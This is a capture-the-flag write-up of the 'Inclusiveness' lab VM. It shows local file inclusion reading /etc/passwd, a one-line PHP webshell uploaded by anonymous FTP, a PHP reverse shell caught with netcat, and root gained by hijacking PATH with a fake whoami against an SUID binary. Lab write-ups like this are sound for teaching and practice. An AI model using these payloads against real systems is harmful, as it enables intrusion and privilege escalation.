2020-04-15
This VM was created by h4sh5 and Richard Lee. I love the concept! Turned out this was a beginner/intermediate box forcing the attacker to put two things together to get a shell. For privilege escalation, I would have liked to see a multi-step path to root (www-data to user to root), but the privesc exploit reminded me of the basics. I was stuck for a while and didn't root the VM until I broke apart the problem into its components. The VM can be downloaded:here.
We began the machine with enumeration of the network services.
root@kali:~/Documents/inclusiveness# cat nmap/192.168.0.128.nmap
# Nmap 7.80 scan initiated Sat Apr 11 17:11:36 2020 as: nmap -p- -oA nmap/192.168.0.128 -Pn -T5 -sV -v0 --host-timeout 99999m 192.168.0.128
Nmap scan report for 192.168.0.128
Host is up (0.00058s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
MAC Address: 00:0C:29:53:BE:04 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
From this, it's clear we have three services:
root@kali:~/Documents/inclusiveness# curl http://192.168.0.128/doesntexist-robots.txt
You are not a search engine! You can't read my robots.txt!
root@kali:~/Documents/inclusiveness# curl http://192.168.0.128/robots.txt
You are not a search engine! You can't read my robots.txt!
I've seen this type of behavior before in CTFs and others. The same resource was being returned by the web server depending on a keyword. Most of the other times I'd seen this it was Apache's mod_rewrite module inspecting URLs and returning responses. In this case, the word "robot" revealed an error. How can we impersonate a search engine? I found this article, which did a pretty good job at explaining https://blogs.akamai.com/2014/07/search-engine-impersonation-the-wolf-in-sheeps-clothing.html. If my hypothesis was correct, all I'd have to do is change my "User Agent" string (the HTTP User-Agent header) and the server would respond with a different response (hopefully the actual robots.txt).
root@kali:~/Documents/inclusiveness# curl -H "User-Agent: Googlebot/2.0" http://192.168.0.128/robots.txt
User-agent: *
Disallow: /secret_information/
Great! Next, I took a look at the /secret_information/ directory. We are returned with what appears to be a simple page explaining the concept of a DNS Zone Transfer.
root@kali:~/Documents/inclusiveness# curl http://192.168.0.137/secret_information/
<title>zone transfer</title>
<h2>DNS Zone Transfer Attack</h2>
<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>
DNS Zone transfer is the process where a DNS
I wasn't too worried about the title or text content, but keyed in on the PHP functionality. I assumed this must be serving "index.php" because there was a "lang" parameter which appeared to change the language of the page. Not only that, the lang parameter appeared to serve content from local files named "en.php" and "es.php". To confirm, I tried to include a local file outside of the web root (/etc/passwd).
root@kali:~/Documents/inclusiveness# curl -s http://192.168.0.128/secret_information/?lang=/etc/passwd
<title>zone transfer</title>
<h2>DNS Zone Transfer Attack</h2>
<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi-autoipd:x:107:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
avahi:x:113:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:114:121::/var/lib/saned:/usr/sbin/nologin
colord:x:115:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:116:123::/var/lib/geoclue:/usr/sbin/nologin
tom:x:1000:1000:Tom,,,:/home/tom:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:118:125:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
Another win. Now we can try to include any local file on the system, however, we aren't able to list directories. In my limited experience, whenever a web application is vulnerable to a local file inclusion, you should always, always, always, test for remote file inclusion. I did just that. I stood up a simple python web server, included a HTTP path to my own server, made the request, but didn't receive any request back. I tried a few other ports to test if the failure was a result of a firewall, but the application didn't appear to be vulnerable to remote file inclusion. At this point, we don't really have a way to execute remote code unless we can control the content of a local PHP file. This is where I had to put two and two together. In a similar way to one of my favorite OSCP boxes, "Bob", I combined two mis-configurations together to execute remote code. Remember the anonymous FTP write capability!? The vsftpd service allows us to upload malicious PHP, but in order to include it within the web application, we'd need to know its path. Luckily, I found this within the vsftp configuration file, /etc/vsftpd.conf.
root@kali:~/Documents/inclusiveness# curl -s -H "User-Agent: Googlebot/2.0" http://192.168.0.137/secret_information/?lang=/etc/vsftpd.conf | grep root | grep -v '#'
secure_chroot_dir=/var/run/vsftpd/empty
anon_root=/var/ftp/
Good. So the LFI vulnerability can leak the path to the FTP server root, we're able to write anonymously to the FTP server, and we're able to include that malicious PHP code within the web application! Let's test with a simple webshell.
root@kali:~/Documents/inclusiveness# echo '<?php echo system($_REQUEST["h00p"]);?>' > h00p.php
root@kali:~/Documents/inclusiveness# ftp 192.168.0.128
Connected to 192.168.0.128.
220 (vsFTPd 3.0.3)
Name (192.168.0.128:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put h00p.php pub/h00p.php
local: h00p.php remote: pub/h00p.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
40 bytes sent in 0.00 secs (169.1017 kB/s)
root@kali:~/Documents/inclusiveness# curl -s -H "User-Agent: Googlebot/2.0" 'http://192.168.0.137/secret_information/?h00p=id&lang=/var/ftp/pub/h00p.php'
<title>zone transfer</title>
<h2>DNS Zone Transfer Attack</h2>
<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I'm not sure why the command executed twice (I've seen this before but haven't figured it out). Nonetheless, it confirms code execution! I ended up turning this into a fully interactive reverse shell with pentestmonkey's PHP reverse shell. I uploaded the shell, included it within the PHP web application, used Python to upgrade to a PTY shell, then set the TERM environment variable for usability.
curl -s -H "User-Agent: Googlebot/2.0" http://192.168.0.137/secret_information/?lang=/var/ftp/pub/rev2.php
root@kali:~/Documents/inclusiveness# nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 192.168.0.137 41762
Linux inclusiveness 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
04:31:52 up 1 day, 21:55, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash");'
www-data@inclusiveness:/$ export TERM=xterm-256color
export TERM=xterm-256color
I stumbled around the filesystem looking for clues, but didn't find many at all. There didn't appear to be many suspect processes running, the kernel and OS didn't look too old, and there was only one user, tom. Tom's home folder was readable by www-data. The most interesting file on the system happened to be in tom's home directory. It was an SUID binary with the source available.
# ls -al rootshell*
ls -al rootshell*
-rwsr-xr-x 1 root root 16976 Feb 8 13:01 rootshell
-rw-r--r-- 1 tom tom 448 Feb 8 13:01 rootshell.c
# cat rootshell.c
cat rootshell.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
char user[80];
fgets(user, 80, f);
printf("you are: %s\n", user);
//printf("your euid is: %i\n", geteuid());
if (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
}
Initially, I had difficulty exploiting this bug. It was a custom SUID binary owned by root! This was clearly the easiest way to escalate privileges. The program appeared to run the command "whoami", take the output of that command and store it in a buffer (user), then check if the first three bytes of that buffer were "tom". If so, it spawned a shell within the context of the program. There appeared to be a couple obvious vulnerabilities. First off, if a user named tom1 or tomcat were to run this program, it would also be granted root privileges. I knew that I couldn't just change the output of the "whoami" binary without hooking the functions themselves (would require root privileges anyway). Then, I realized that the program may not even call the system "whoami" binary. What if we could manipulate it into running our own "whoami" program? I remember reading a writeup by Rich Mirch, a local pentester, on his blog. I don't remember which article, but it essentially gained elevated privileges by manipulating $PATH to trick the service into executing arbitrary code. I decided to create my own "whoami" binary that always returned "tom". I created the binary (also named whoami), changed my $PATH variable to first search in the /tmp/ directory for binaries, then executed the SUID rootshell to gain root privileges.
www-data@inclusiveness:/tmp$ echo '#include <stdio.h>' > whoami.c
echo '#include <stdio.h>' > whoami.c
www-data@inclusiveness:/tmp$ echo 'main(){printf("tom");}' >> whoami.c
echo 'main(){printf("tom");}' >> whoami.c
www-data@inclusiveness:/tmp$ gcc whoami.c -o whoami && chmod +x whoami
gcc whoami.c -o whoami && chmod +x whoami
whoami.c:2:1: warning: return type defaults to 'int' [-Wimplicit-int]
main(){printf("tom");}
^~~~
www-data@inclusiveness:/tmp$ ./whoami
./whoami
tomwww-data@inclusiveness:/tmp$
www-data@inclusiveness:/tmp$ /home/tom/rootshell
/home/tom/rootshell
checking if you are tom...
you are: www-data
www-data@inclusiveness:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
www-data@inclusiveness:/tmp$ /home/tom/rootshell
/home/tom/rootshell
checking if you are tom...
you are: tom
access granted.
# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)
# cd /root
cd /root
# ls
ls
flag.txt
# cat flag.txt
cat flag.txt
|\---------------\
|| |
|| UQ Cyber Squad |
|| |
|\~~~~~~~~~~~~~~~\
|
|
|
|
o
flag{omg_you_did_it_YAY}
# hostname
hostname
inclusiveness
I really enjoyed rooting inclusiveness! Looking back, I get the name as its vulnerable to a Local File Inclusion and $PATH tampering. I especially enjoy rooting machines that require leveraging multiple services or configurations to achieve RCE. The privilege escalation was a nice reminder as well to break apart a problem and think critically about the components. Big thanks to the creators, h4sh5 and Richard Lee.